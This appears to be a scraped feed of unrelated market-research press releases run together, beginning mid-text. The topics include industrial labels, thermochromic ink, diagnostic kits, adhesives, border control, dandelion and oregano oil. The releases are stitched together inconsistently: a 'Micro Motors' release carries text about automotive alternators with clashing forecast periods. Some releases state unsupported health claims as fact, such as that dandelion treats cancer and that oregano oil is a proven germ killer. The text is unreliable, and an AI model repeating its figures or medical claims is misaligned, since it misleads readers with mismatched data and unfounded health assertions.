LandscapeCompanies such as American Elements, Inframat Corporation, Hongwu International Group Ltd, NaBond Technologies Co., Limited, Nanoshel LLC, and US Research Nanomaterials, Inc., among others are striving to gain an established position in the market.About TMR ResearchTMR Research is a premier provider of customized market research and consulting services to business entities keen on succeeding in todays supercharged economic climate. Armed with an experienced, dedicated, and dynamic team of analysts, we are redefining the way our clients conduct business by providing them with authoritative and trusted research studies in tune with the latest methodologies and market trends.Our savvy custom-built reports span a gamut of industries such as pharmaceuticals, chemicals and metals, food and beverages, and technology and media, among others. With actionable insights uncovered through in-depth research of the market, we try to bring about game-changing success for our clients.Contact:TMR Research,3739 Balboa St # 1097,San Francisco, CA 94121United StatesTel: +1-415-520-1050Email: sales@tmrresearch.com
Industrial Labels Market to Strengthen Its Position at 5.5% CAGR through 2022

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Global Industrial Labels Market Information by Material (Metal, Polymer and others), by Mechanism (Pressure-sensitive, Glue-applied, Heat Transfer and others), by Application (Transportation, Construction, Automotive, Consumer Durables and others) and by Region  Forecast to 2022Market Synopsis of Industrial Labels MarketIndustrial labels help manufacturers to keep a proper track of products along the entire supply chain. Industrial labels are widely used in construction, transportation and automotive industries. Transportation industry contributes highest to the overall growth of the market. High capital expenditure is required for setting up a labeling system. North-America is the largest growing region, majorly due to increasing consumer awareness. Asian countries, especially India and China accounting for the largest market share in the overall industrial labels market due to rising awareness and huge consumer base. The global industrial labels market is projected cross USD 55 Billion in 2022, at a CAGR of approximately 5.5% in the forecasted period.The major factor attributed to the growth of the industrial labels market is that these products can easily be customized in terms of size and shape for a range of end-use applications across industries. The market is expected to have higher growth rate as compared to the previous years.Get Sample of Report @Regional Analysis of Global Industrial Labels MarketNorth-America is the largest growing region, majorly due to increasing consumer awareness. Asian countries, especially India and China accounting for the largest market share in the overall industrial labels market due to rising awareness and huge consumer base.Key PlayersThe key players of global industrial labels market report include Avery Dennison Corporation, Brady Corporation, 3M Company, CCL Industries Inc., HB Fuller Co, Fuji Seal International Inc., Cenveo Inc., Dunmore Corporation, Henkel Ag & Company and Du Pont.Target Audience Manufactures Raw Materials Suppliers Aftermarket supplier Research Institute / Education Institute Potential Investors Key executive (CEO and COO) and strategy growth managerEnquiry before Buying @Ask for your specific company profile and country level customization on reports.The report for Global Industrial Labels Market of Market Research Future comprises of extensive primary research along with the detailed analysis of qualitative as well as quantitative aspects by various industry experts, key opinion leaders to gain the deeper insight of the market and industry performance. The report gives the clear picture of current market scenario which includes historical and projected market size in terms of value and volume, technological advancement, macro economical and governing factors in the market. The report provides details information and strategies of the top key players in the industry. The report also gives a broad study of the different market segments and regions.Access Full Report @About Us:At Market Research Future (MRFR), we enable our customers to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR), and Market Research & Consulting Services.MRFR team have supreme objective to provide the optimum quality market research and intelligence services to our clients. Our market research studies by products, services, technologies, applications, end users, and market players for global, regional, and country level market segments, enable our clients to see more, know more, and do more, which help to answer all their most important questions.In order to stay updated with technology and work process of the industry, MRFR often plans & conducts meet with the industry experts and industrial visits for its research analyst members.Akash Anand,Market Research FuturePune  411028Maharashtra, IndiaPhone No. :+1 646 845 9312Email: sales@marketresearchfuture.com
Thermochromic Ink Printing Market Lucrative Opportunities By 2024

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Thermochromic ink printing is a type of printing, which is sensitive to change in temperature. The print changes color with rise and decline in temperature, which helps for indicating whether the beverage is hot or cold.The inks used for thermochromic ink printing contains thermochromic pigments that are subjected to color change when there is a temperature difference.In the recent past, the manufacturers are seeking for innovative packaging solutions as a marketing strategy, the thermochromic ink printing technology is one such innovation which is being widely used by manufacturers to endorse their products.Global Thermochromic Ink Printing Market: Drivers & RestraintsThe growth of global thermochromic ink printing market is driven by the demand for innovative printing technology in the packaging industry.Thermochromic ink printing is commonly used by food & beverages and alcoholic beverages manufacturers in order to identify the temperature state of the beverage by looking at the cans and bottles. Furthermore, the use of thermochromic ink printing is being used as a measure by the beverage manufacturers to gain customer attractions.Obtain Report Details:Thus, the growth in packaging industry and innovative printing needs in packaging industry is anticipated to primarily drive the global market for thermochromic ink printing. Thermochromic ink printing is not limited to the packaging industry, thermochromic ink printing technology has found its potential in wallpaper printing, textiles, and specialty market, which is further augmenting the demand for thermochromic ink printing technology.On the plus side, the demand for Thermochromic ink printing in FMCG (Fast Moving Consumer Goods) is expected to rise over the forecast period, which in turn will propel the demand for thermochromic ink printing market globally. Trends noted in the global thermochromic ink printing market is the technological innovations for delivering state-of-the-art packaging solutions.For instance, Print Pack a leading packaging company has developed thermochromic ink with color to color change combinations, which allows the product manufacturers to alter the graphics of their labels according to their promotional needs.However, the thermochromic ink printing is a costly affair as compared to the traditional ink printing and the liquid crystal thermochromic inks which are highly sensitive to small changes in temperature due to which it is not recommended for packaging. These factors might hamper the growth of global thermochromic ink printing market globally.Based on the geographies, global thermochromic ink printing market is segmented into five key regions- North America, Latin America, Europe, APAC, and Middle East & Africa.Among the aforementioned regions, North America accounts for significant share for thermochromic ink printing market, owing to the flourishing growth of smart packaging industry in the region as compared to other regions.Furthermore, the North America region accounts for healthy share in terms of consumption of alcoholic beverages, thermochromic ink printing being commonly used for printing in beer cans, the alcoholic beverage consumption in the region is anticipated to further add value to the thermochromic ink printing market in the region.Europe market for thermochromic ink printing is followed by the North America market for thermochromic ink printing market which is trailed by the Asia-Pacific market for the thermochromic ink printing.Make Enquiry @Over the forecast period, Asia-Pacific market for is anticipated to grow significantly owing to the growth of packaging industry in the region. Overall, the global market for thermochromic ink printing is expected to grow significantly by the end of forecast period.Global Thermochromic Ink Printing Market: Key PlayersSome of the few players identified in the global thermochromic ink printing market includes B&H Colour Change, CTI, AB Print Group Limited, MELMARC, SFXC | Special Effects and Coatings., QCR Solutions Corp, NanoMatriX International Limited and Hammer Packaging, Corp., among others.The report offers a comprehensive evaluation of the market. It does so via in-depth qualitative insights, historical data, and verifiable projections about market size. The projections featured in the report have been derived using proven research methodologies and assumptions.By doing so, the research report serves as a repository of analysis and information for every facet of the market, including but not limited to: Regional markets, technology, types, and applications.About TMRTransparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The companys exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to gather and analyze information.TMRs data repository is continuously updated and revised by a team of research experts so that it always reflects the latest trends and information. With extensive research and analysis capabilities, Transparency Market Research employs rigorous primary and secondary research techniques to develop distinctive data sets and research material for business reports.Contact TMR90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453Email:sales@transparencymarketresearch.comWebsite:
Global Rapid Medical Diagnostic Kits Market to Reach Worth US$25.76 bn by the end of 2019

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Transparency Market Research has published a new report on the rapid medical diagnostics kits market that discusses its stance in the global setting. The research report, titled Rapid Medical Diagnostic Kits Market - Global Industry Analysis, Size, Share, Growth, Trends and Forecast, 2013 - 2019, offers an evaluation of the market in a political, economic, social, technological, legal, and environmental context. The report has also used a SWOT analysis and Porters five forces analysis to determine the factors governing the trajectory of this market in the near future.According to the research report, the global rapid medical diagnostic kits market was valued at US$17.65 bn in 2012. The market is expected to register a CAGR of 5.5% through the forecast period to reach a value of US$25.76 bn by the end of 2019.The market is expected to show exceptional progress as the demand for precautionary management of communicable conditions multiplies. Ever since these kits have hit market selves, they have achieved an important status in the medical diagnostics sector, with a potential for phenomenal growth in the coming years. Moreover, the easy functionalities of these kits and quick turnaround time has been the unique selling point of these kits, especially for testing pregnancy at home.Read Report Overview @The global rapid medical diagnostic kits market is segmented on the basis of application, technology, and geography. On the basis application, the market is divided into clinical testing, home-use, and veterinary. The clinical testing and home-use segments are further sub-segmented into infectious disease testing, cholesterol monitoring, substance abuse testing, fertility and pregnancy testing, and blood glucose testing. The technologies used in this market are lateral flow, flow-through, solid-phase, and agglutination assays.Request Sample Report@Geographically, this market is segmented into Europe, North America, Asia Pacific, and Rest of the World. In terms of regions, North America is leading the global rapid medical diagnostics kits market, whose success is closely followed by Europe. In the near future, North America is expected to continue this dominance. Meanwhile, Asia Pacific is expected witness a robust growth rate in the rapid medical diagnostic testing kits market due to the high prevalence of infectious diseases, increasing awareness about these kits, and rising disposable income of the overall population. Furthermore, the high rate of infectious disease in the African countries is also expected to fuel the rapid medical diagnostic kits market.Some of the important companies profiled in the global rapid medical diagnostic kits market are Trinity Biotech Plc, Alere, Inc., Abbott Laboratories, Abaxis, Inc., Danaher Corporation, BioRad Laboratories, F. Hoffmann La Roche, Becton Dickinson & Company, MegaCor Diagnostik GmbH, MegaCor, and Zoetis, Inc. The research report also explains the competitive landscape in this market by evaluating the financial overview, business and marketing strategies, research and development activities, and investment outlook for the near future.Get Full Report@About UsTransparency Market Research (TMR) is a market intelligence company, providing global business information reports and services. Our exclusive blend of quantitative forecasting and trends analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants, use proprietary data sources and various tools and techniques to gather, and analyze information. Our business offerings represent the latest and the most reliable information indispensable for businesses to sustain a competitive edge.Contact us:Transparency Market Research90 State Street,Suite 700,AlbanyNY - 12207United StatesTel: +1-518-618-1030USA - Canada Toll Free 866-552-3453Email: sales@transparencymarketresearch.com
Micro Motors Market Driven By Demand Surge to Grow Exceptionally at 5.5% CAGR, 2022

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Global Automotive Alternator Market Information by Type (Single Phase and Three Phase), by Technology (Belt-driven alternator and), by Vehicle Type (Passenger and Commercial) and by Region - Forecast to 2022Automotive alternator is a generator which generates power to the electrical component of the vehicle. The increasing usage of electrical power in the cars and the rise in electrical and electronics device in the vehicles is expected to surge the market for automotive alternator. Moreover, increasing global demand for vehicles has a significant contribution in the growth of automotive alternator market. Asia-Pacific is estimated to have the largest market for automotive industry due to government initiated FDI for international automotive players, favorable economic conditions, and presence of major automotive manufacturing industries which in turn is expected to drive the demand in the automotive alternator market.The increasing usage of electrical power in the cars and the rise in electrical and electronics device in the vehicles is expected to surge the market for automotive alternator. Moreover, increasing global demand for vehicles has a significant contribution in the growth of automotive alternator market. Asia-Pacific is estimated to have the largest market for automotive industry due to government initiated FDI for international automotive players, favorable economic conditions, and presence of major automotive manufacturing industries which in turn is expected to drive the demand in the automotive alternator market.The global Automotive Alternator Market is expected to show a growth at CAGR of about 5.5% from 2016 to 2021.Get Sample of Report @Regional Analysis of Global Automotive alternator MarketAsia-Pacific is the major regions for the automotive alternator market. Asia-Pacific is expected to be fastest growing market for the automotive alternator. Emerging economies like China, India, and South Korea are expected to drive the market due to government initiative in FDIs for international automotive players, increasing individuals disposable income & purchasing power is expected to drive the market for automotive alternator. It is followed by European region due to presence of biggest automotive players in the region.Key PlayersThe key players of Global Automotive alternator Market report include- Valeo, Denso, Bosch, Remy, ISKRA, Mando, Mitsubishi, Hitachi Automotive, Magneti Marelli, Motorcar Parts of America, Hella KGaA Hueck & Co., and Lucas Electrical.Target Audience Manufacturers of Automotive alternator Traders, distributors, and automotive alternator suppliers Government and research organization Investment bankers and M&A ConsultantsEnquiry before Buying @Ask for your specific company profile and country level customization on reports.The report for Global Micro Motors Market of Market Research Future comprises of extensive primary research along with the detailed analysis of qualitative as well as quantitative aspects by various industry experts, key opinion leaders to gain the deeper insight of the market and industry performance. The report gives the clear picture of current market scenario which includes historical and projected market size in terms of value and volume, technological advancement, macro economical and governing factors in the market. The report provides details information and strategies of the top key players in the industry. The report also gives a broad study of the different market segments and regions.Access Full Report @About Us:At Market Research Future (MRFR), we enable our customers to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR), and Market Research & Consulting Services.MRFR team have supreme objective to provide the optimum quality market research and intelligence services to our clients. Our market research studies by products, services, technologies, applications, end users, and market players for global, regional, and country level market segments, enable our clients to see more, know more, and do more, which help to answer all their most important questions.In order to stay updated with technology and work process of the industry, MRFR often plans & conducts meet with the industry experts and industrial visits for its research analyst members.Akash Anand,Market Research FuturePune  411028Maharashtra, IndiaPhone No. :+1 646 845 9312Email: sales@marketresearchfuture.com
Research report provides a detailed analysis of the opportunities present the Non-woven Adhesives Market, 2025

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Global Non-woven Adhesives Market: SnapshotNon-woven adhesives continue to occupy an increased significance in the making of disposal hygiene products and a variety of specialty care products for infants and elderly populations. These adhesives are used to improve the functionality of baby diapers, adult incontinence products, and feminine care products. The constantly changing preference among various end-use populations hinges hygiene products which make more comfortable fit in various demanding situations. Non-woven adhesives are widely used to hold the various elements of the disposable adult incontinence products and hygiene products. In recent years, polymers have been added to non-woven adhesives that exhibit a wide spectrum of mechanical properties. These functional polymers have improved the absorption, allowed for greater fit, and increase the reliability of hygiene products such as baby diapers.Over the past few years, the market has witnessed substantial innovations in the hygiene industry. Manufacturers are increasingly focused on augmenting their research and development capabilities in making innovative products. In addition, prominent suppliers of thermoplastic adhesives hope to meet end-to-end requirements of manufacturers of nonwoven disposable products. They are also consolidating global procurement network, which bodes well for the non-woven adhesives market. Improvement in properties of functional additives such as resins, white oils, stabilizers have benefitted manufacturers of baby diapers and other hygiene products. This has led to recent product innovations in the market. Increased collaboration among manufacturers and suppliers have greatly benefitted market players. The growing demand for safe incontinence products in developed nations and the rising demand for hygiene care products among adults, including females, is several emerging economies are crucial factors bolstering the uptake of functional non-woven adhesives.Request Sample Copy of the Report @Global Non-woven Adhesives Market: OverviewNon-woven adhesives are referred to as thermoplastic adhesives which include a base antioxidants, plasticizers, tackifiers, and polymer. These types of adhesives are soluble, fusible, and heat resistant. Non-woven adhesives are basically used for medium/low load assemblies under reasonable service situations. Although they have a good resistance power against oil but poor against water. Over the last few years, the properties of non-woven adhesives have been improved by several toughening ways so that the variants are found suitable for structural uses. Several hygiene products such as feminine protection, adult incontinence, training pants, and diapers are manufactured by using these adhesive solutions. These non-adhesives are favored for several industrial applications owing to the superior properties they possess such as excellent processability, cohesion strength, high elasticity, softness, and low odor.The report examines the growth of the global non-woven adhesives market that occurred in the last over the last few years and is likely to occur in the coming years. The research publication additionally explains the causes of the fluctuations in the global market. It does this by assessing of the facets and the different trends that have been prevalent from past few years and also the aspects that are anticipated to maintain a strong impact on the market over the coming years. The Porters five forces analysis has been considered by analysts to present a clear picture of the vendor landscape to readers. Agreements, mergers, acquisitions, and other dealings have been further mentioned in the study. It focuses on the strategies, products, and market share along with the position of the companies operating in the market.Request TOC of the Report @Global Non-woven Adhesives Market: Trends and OpportunitiesThe primary factor that is expected to drive the growth of the global non-woven adhesives market is the development of new products with improved and additional features to the present product types. Other factors that are anticipated to supplement the growth of the global non-woven adhesives market are growing demand for non-woven products, rising demand from emerging economies in Latin America, the Middle East and Africa, and Asia Pacific, and huge investment opportunities in these regions. Manufacturers can also capitalize on the opportunities arising from the rising standards of living in emerging nations. However, factors such as stagnant growth in the baby diaper industry in matured markets, fluctuations in the prices of raw materials, and strict regulatory approval process required for production.Incontinence problems among the aged population has stirred the demand for more comfortable and fit, better absorption, and product with thinner cores. Thus, this has intensified the demand for non-woven adhesives across the industrial sector.Request Discount of the Report @Global Non-woven Adhesives Market: Regional OutlookRegion-wise the global non-woven adhesives market can be segmented into North America, Asia Pacific, Europe, and the Rest of the World. Asia Pacific is expected to exhibit extreme potential owing to the growing demand for hygiene products, especially disposable diapers. The demand for adult incontinence products in Europe and North America is anticipated to rise over the coming years, thus supplementing the growth of the market in these regions. Product penetration in developing countries is likely to increase as they shift towards using safe and hygienic products, thus aiding the market growth for non-woven adhesives.Global Non-woven Adhesives Market: Companies Mentioned in the ReportSome of the leading companies in the global non-woven adhesives market are 3M Corporation, Adtek Malaysia SDN BHD, Beardow Adams Ltd., Evonik Industries AG, H.B. Fuller Company, Henkel AG & Co. KGaA, and The Dow Chemical Company.About TMR ResearchTMR Research is a premier provider of customized market research and consulting services to business entities keen on succeeding in todays supercharged economic climate. Armed with an experienced, dedicated, and dynamic team of analysts, we are redefining the way our clients conduct business by providing them with authoritative and trusted research studies in tune with the latest methodologies and market trends.Our savvy custom-built reports span a gamut of industries such as pharmaceuticals, chemicals and metals, food and beverages, and technology and media, among others. With actionable insights uncovered through in-depth research of the market, we try to bring about game-changing success for our clients.Contact:TMR Research,3739 Balboa St # 1097,San Francisco, CA 94121United StatesTel: +1-415-520-1050Email: sales@tmrresearch.com
Automated Border Control Market Grows with Next Generation Technologies

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Automated border control is an automated system that initiates processing as soon as the traveler enters and assures that the passenger is the rightful holder of the document. It includes modern technologies of e-gate such as border control software and facial recognition. Automated border control provides an efficient solution to airport systems and also provides passengers a convenient experience. These solutions improve border crossing time, allowing passengers to pass through the gate automatically, reducing the risk of human error and related time loss. Automated border control detects frauds with greater risk with the help of electronic microprocessors.Request A Sample Of This Report -Rising awareness about security concerns and enhanced convenience of travelers are some of the factors driving the global automated border control market. With heightened security concerns among people, various ports are implementing facial recognition and biometric systems in order to address security issues. Automated biometric solutions have been introduced in a number of airports and shipping ports to fulfil future border control needs resulting from the rapid growth in the number of passengers.Increasing need for automation across all port facilities to optimize efficiency at airports, sea ports, as well as land ports is boosting the growth of the global automated border control market. Majority of the airports are replacing their border control processes with automated alternatives to increase security and make the passenger experience smoother. The recent trend in the global automated border control market is use of kiosks at the border. Airports are investing in kiosk as it efficiently and smoothly handles the large number of passengers. Large capital investment requirement and threat of identity theft are some of the factors that may hamper the growth of the global automated border control market.View Table of Contetnt -The global automated border control market can be segmented based on application area, component, solution type, and geography. On the basis of application area, the market can be segmented into airports, sea ports, and land ports. The Sea ports segment is expected to expand significantly during the forecast period owing to the growing passenger traffic and strengthened border integrity. On the basis of component, the market can be segmented as software, hardware, and services. The software component segment is anticipated to expand during the forecast period due to the increasing need for automation in order to optimize overall efficiency at airports, land ports, and seaports.The adoption of software components is growing in automated border control systems as it ensures the performance of biometric and facial recognition database algorithms and also provides risk assessment for travelers. Furthermore, the solution type can be segmented as ABC e-Gate and ABC Kiosk. The ABC e-Gate segment is projected to expand rapidly as it allows border crossing systems to process large number of passengers at a time with enhanced security. In terms of geography, the global automated border crossing market can be divided into North America, Europe, Asia Pacific, Middle East & Africa, and South America. The market in Europe is expected to grow at a higher rate owing to the growing adoption of automated border control (ABC) systems, presence of numerous players, and government funding. North America is also expected to contribute significant market share to the global automated border control market, followed by Asia Pacific.View Report -The global automated border market has a large number of players. Some of the key players include Accenture, Atos, Arjo Systems, Cross Match Technologies, International Security Technology, Magnetic Autocontrol, Biolink Solutions, Cognitec Systems, Gemalto NV, Cominfosec, and Magnetic Autocontrol.Transparency Market Research (TMR) is a next-generation provider of syndicated research, customized research, and consulting services. TMRs global and regional market intelligence coverage includes industries such as pharmaceutical, chemicals and materials, technology and media, food and beverages, and consumer goods, among others. Each TMR research report provides clients with a 360-degree view of the market with statistical forecasts, competitive landscape, detailed segmentation, key trends, and strategic recommendationsTransparency Market Research90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Dandelion Market - An Array Of Graphics And Analysis Of Major Industry Segments

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Dandelion is an herb obtained from yellow flowers of Asteraceae family. Dandelion leaves and buds are part of traditional cuisines in Kashmir, China, Korea, Slovenia etc. Dandelion have application in food industry for preparation of wine, coffee, soft drinks, root beer. Dandelion is also used in salads and sandwiches. Dandelion is a source of vitamin A, vitamin C, vitamin K, minerals, calcium, potassium, iron and manganese. Dandelion have applications in various industries such as medical, food, and others. Dandelion have health benefits which include loss of appetite, intestinal gas, joint pain, upset stomach, eczema etc. Dandelion is also used to increase urine production as laxative. Dandelion also has application in cosmetic industry which increases its demand in global market.For more information on this report, fill the form @Market Segmentation: DandelionThe dandelion market is segmented on the basis of its application in food and beverage industry, cosmetic industry, medical industry etc. In food and beverage industry, dandelion is obtained in the form of tea, coffee, salads etc. Roots of dandelion is also used as a coffee substitute, in wine making, beer, and other liqueurs. In cosmetics industry, dandelion is used in lip-gloss, powder, face highlighter etc. In medical industry, dandelion is used in treatment of infection such as viral infection and cancer. Dandelion is used in treatment of upset stomach, intestinal gas, joint pain, muscle ache, bruises, loss of appetite etc. dandelion also helps increasing urine production.The dandelion market is segmented on the basis of types as dandelion powder, dandelion extracts, liquid dandelion etc. Dandelion root powder is used as a substitute for coffee powder which is popular in health conscious consumers. Dandelion extracts are used mainly in cosmetic and medical industries as these extracts can be obtained in both powder and liquid forms. Dandelion in liquid form is mainly used in cosmetics in lip-gloss, and face highlighters etc.The dandelion market is segmented on the basis of regions as North America, Latin America, Europe, APAC and ME.Global Dandelion Market: Regional OutlookDepending on geographic regions global Dandelion market is segmented into five key regions: North America, Latin America, Europe, APAC and ME. Dandelion is produced across the globe. The dandelion roots and leaves are used in Europe by pharmacists as a fresh juice, which is considered to be best tonic for digestive and urinary system. In the U.S. the dandelion is mainly used as gastrointestinal aid, a cleansing alterative, it is also used for purification of blood in the Southern U.S. Dandelion is used in China market to be used in its traditional Chinese medicine.Browse Market Research Report @Global Dandelion Market: Drivers and TrendsDandelion market is in demand due to its various application in cosmetic, food and beverage and medical industry. Dandelion source is available globally due to which it gains popularity in every country in above mentioned industries. Health conscious consumers are leaning towards herbal products in daily food as well as cosmetics which is one of the key driver for dandelion market to grow globally. Use of dandelion in blood purification makes it popular in pharmaceutical industry and increases demand in global market. Dandelion is used in food products such as soups, wine, tea, coffee etc. for which market has seen growing in turn increasing demand for dandelion in global market.Global Dandelion: Key PlayersSome of the key players identified across the value chain of the global dandelion market include Natural Herbs And Herbal Products, Koranic Biotech & Medicare, KSV Export, MakingCosmetics Inc., Nature's Way, NutraMarks, Inc. etc. are amongst.About TMRTransparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The companys exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to gather and analyze information.Contact TMR90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Palm Kernel Oil And Coconut Oil Based Natural Fatty Acids Market : In-Depth Market Research Report 2025

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Global Palm Kernel Oil and Coconut Oil Based Natural Fatty Acids Market: SnapshotPalm kernel oil and coconut oil together constitute an important group of lauric acids. The majority of functional properties that these oils exhibit is attributed to the high content of saturated acids. The markedly low degree of unsaturation lends high oxidative properties to these oils. The demand for palm kernel oil and coconut oil based natural fatty acids has been steadily increasing in personal care segment and the surfactants market. In addition, driven by their constant availability of these oleochemicals, they are widely used to lend hydrophobic properties to surfactants. The lack of an inexpensive substitutes for oils that can contain lauric and myristics acids in substantial portions has further accentuated the demand.The vast adoption of palm kernel oil and coconut oil in the making of a variety of natural cosmetics is boosting the market. The growing preference of natural cosmetic products over synthetic ones is vastly fuelling the uptake of oleochemicals in various regions. A burgeoning detergents industry and the growing demand for bio-based and eco-friendly industrial cleaning products are factors likely to catalyze the market growth in the coming years. The rising disposal incomes of people in developing regions, combined with their growing inclination toward aesthetics and cosmetics, is a key trend bolstering the demand for palm kernel oil and coconut oil-based fatty acids. Tightening norms for keeping industrial facilities clean and hygienic are expected to boost the demand for these acids in making industrial cleaners and detergents. Furthermore, the market is expected to benefit from recent advances made in the personal care segment in several emerging economies.Request Sample Copy of the Report @Global Palm Kernel Oil And Coconut Oil Based Natural Fatty Acids Market: OverviewPalm kernel oil and coconut oil-based natural fatty acids are predominantly used in manufacturing cleaning surfactants. Thus, the growing consumption of surfactants in residential, commercial, and industrial spaces has had a positive impact on the global palm kernel oil and coconut oil based natural fatty acids market. The steady availability of these oleochemicals along with their natural origin and versatility has made them the key source of the hydrophobic aspect of surfactants. The lack of commercially affordable substitutes for these rich sources of lauric fatty acids has given the global market a definitive boost. The presence of natural fatty acids in distilled palm kernel oil and coconut oil such as amidopropyl betaines and isethionates has augmented the demand for these materials in the production of personal cleaning surfactants.Global Palm Kernel Oil And Coconut Oil Based Natural Fatty Acids Market: Trends and DriversThe shifting demand for bio-based eco-friendly products in the personal care segment has led to the increased consumption of palm kernel oil and coconut oil based natural fatty acids. The growing awareness amongst consumers about the side effects of synthetic cosmetics has also directed attention toward herbal products, thereby triggering an uptake of these oleochemicals in the production of natural cosmetics.Request TOC of the Report @The report predicts that the rise of the detergents industry is likely to boost the global market in the near future. The coconut oil fatty acids are predominantly used in making industrial cleaners and detergents and the stricter norms to ensure hygienic industries are expected to up the consumption of detergents in the near future. The market is also expected to benefit from the improving disposable income, growing focus on aesthetics, and changing economics. These factors are especially favoring the sales of palm kernel oil based natural fatty acids, which are extensively used in personal care products.Global Palm Kernel Oil And Coconut Oil Based Natural Fatty Acids Market: Market PotentialThe global cosmetics market is undergoing a major change that is seen tilting toward demand for natural products. In light of the benefits of cosmetics produced using naturally obtained materials over synthetic ones, the sales of sustainable cosmetics products have substantially spiked. Companies such as Evonik has added a wide range of cosmetic ingredients to its portfolio which comply with the standard of the Roundtable on Sustainable Palm Oil (RSPO - MB). The new 50 certified palm-oil based raw materials will support customers in developing sustainable cosmetic products. The raw materials have been obtained in the most socially responsible manner that adheres to the conservation of habitats and land grabbing.Request Discount of the Report @Global Palm Kernel Oil And Coconut Oil Based Natural Fatty Acids Market: Regional OutlookGeographically, the global palm kernel oil and coconut based natural fatty acids market is segmented into Asia Pacific, Europe, North America, the Middle East and Africa, and Latin America. The research report states that Asia Pacific will be a key player in the global market. The region is expected to be the key consumer of coconut oil and palm kernel due to the high concentration of respective plantations. Furthermore, a strong presence of market players in the regions who are engaged in the production of detergents, soaps, and other personal care products are also projected to make a phenomenal contribution to the overall market.Key Players Mentioned in the Report are:Some of the leading players operating in the global palm kernel oil and coconut oil-based natural fatty acids market are Vantage Specialty Chemicals, Chemical Associates Inc., Philippine International, Wilmar International, OLEON, KLK Oleo, Emery Oleochemicals, Kao Corporation, P&G, Pacific Oleochemicals, Twin Rivers Technologies, Musim Mas Holdings, VVF LLC, and United Coconut Chemicals. These companies are expected to focus on making strategic mergers and acquisitions to improve their foothold in the global market in the coming years.About TMR ResearchTMR Research is a premier provider of customized market research and consulting services to business entities keen on succeeding in todays supercharged economic climate. Armed with an experienced, dedicated, and dynamic team of analysts, we are redefining the way our clients conduct business by providing them with authoritative and trusted research studies in tune with the latest methodologies and market trends.Our savvy custom-built reports span a gamut of industries such as pharmaceuticals, chemicals and metals, food and beverages, and technology and media, among others. With actionable insights uncovered through in-depth research of the market, we try to bring about game-changing success for our clients.Contact:TMR Research,3739 Balboa St # 1097,San Francisco, CA 94121United StatesTel: +1-415-520-1050Email: sales@tmrresearch.com
Oregano Oil Market - Industry Competitive landscape & Technological breakthroughs

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Oregano oil is derived from oregano herb leafs. It is well-known for its various medicinal values and health benefits. Turkey is the major exporter of oregano oil and dried oregano to the world market. Carvacrol is chemical responsible for the biological activities of oregano and reason of its use in various medicines.For more information on this report, fill the form @Oregano oil is known for its versatile properties includes antitumor antimicrobial, antimutagenic, analgesic, angiogenic, analgesic antigenotoxic, antispasmodic, anti-inflammatory, antiparasitic, antiplatelet, Ache inhibitory, anti-elastase, insecticidal, antihepatotoxic etc. Oregano oil is used as a feed additive, and finds applications in honeybee breeding. Thus, market demand from the various application is higher and growing rapidly.Oregano Oil Market Segmentation:Oregano oil market is segmented on the basis of its applications as pharmaceuticals, cosmetics, food, and beverages. Oregano oil enjoys a significant share in essential oils market owing to its wide usage in pharmaceutical products. Oregano oil has proven beneficial in various disease treatments as possess various medicinal properties such as antimicrobial, antitumor, antimutagenic, antigenotoxic, analgesic, anti-inflammatory, antiplatelet, antispasmodic, angiogenic, antiparasitic, etc. Owing to these wide benefits market demand from pharmaceutical industry is high. Oregano oil is also proven helpful in skin problems such as it can help treatment of acne, and eczema, thus market demand from herbal and natural product based cosmetics is growing and cosmetics applications market segment is expected to grow significantly. Oregano oil is used in various antiseptic soaps, skin care creams and in anti-fungal medicines. In food and beverage industry Oregano oil is used for culinary applications as a spice for flavoring.Oregano oil market is further segmented on the basis of its forms available in the market as in capsule forms and oregano liquids. The oils may be mixed with a carrier oil such as olive oil, capsicum oil or grape seed oil to get oregano liquid.Oregano oil Market Regional Outlook:Oregano oil market is also segmented on the basis region as Latin America, North America, Europe, Asia-Pacific and the Middle East and Africa. A major share of production come from the Middle East and African countries where Turkey is a major exporter of oregano oil and leaf to the global markets. However, North America, Europe, and Asia-Pacific markets grab major consumption share of Oregano oil in the global market.Browse Market Research Report @Oregano Oil Market Drivers and Restrains:Increasing consumer demand for natural cosmetics is a major factor driving market demand for oregano oil based skin care and cosmetics products. Versatile properties of oregano oil such as antibacterial, anti-inflammatory etc, makes it a powerful germ killer with scientifically proven results against the various virus, bacteria, parasite, and fungi is the major factor driving demand for oregano oil in pharmaceutical and cosmetics market segments.Oregano oil is loaded with vital nutrients such as zinc, magnesium, and vitamins C and E. Its satisfactorily high in calcium, iron, potassium, manganese, copper, and niacin. As a secondary approach, oregano oil might use in nutrition supplements to fulfill nutritional deficiency requirement thus drives oregano oil demand from food and beverages industry is higher. Thus, rising application of oregano oil and growing consumer awareness regarding benefits of it is expected to spur market demand in the developing and developed regions.Few studies show that oregano oil due to relatively higher levels of carvacrol, a chemical toxic to humans and agencies such as Health Canada have banned the use of oregano oil in food materials. This is factor restraining growth of global oregano oil market.Oregano Oil Market Key players:Key market players manufacture and suppliers of Oregano oil include AOS Products, CG Herbals, Healing Solutions Essential Oils, Native American Nutritionals Essential Oils, Rocky Mountain Oils, Plant Therapy Essential Oils, Aura Cacia Essential Oils, Prime Natural Essential Oils, Mountain Rose Herbs Essential Oils, Fabulous Frannie Essential Oils, Plant Guru Essential Oils, Kis Oils etc.About TMRTransparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The companys exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to 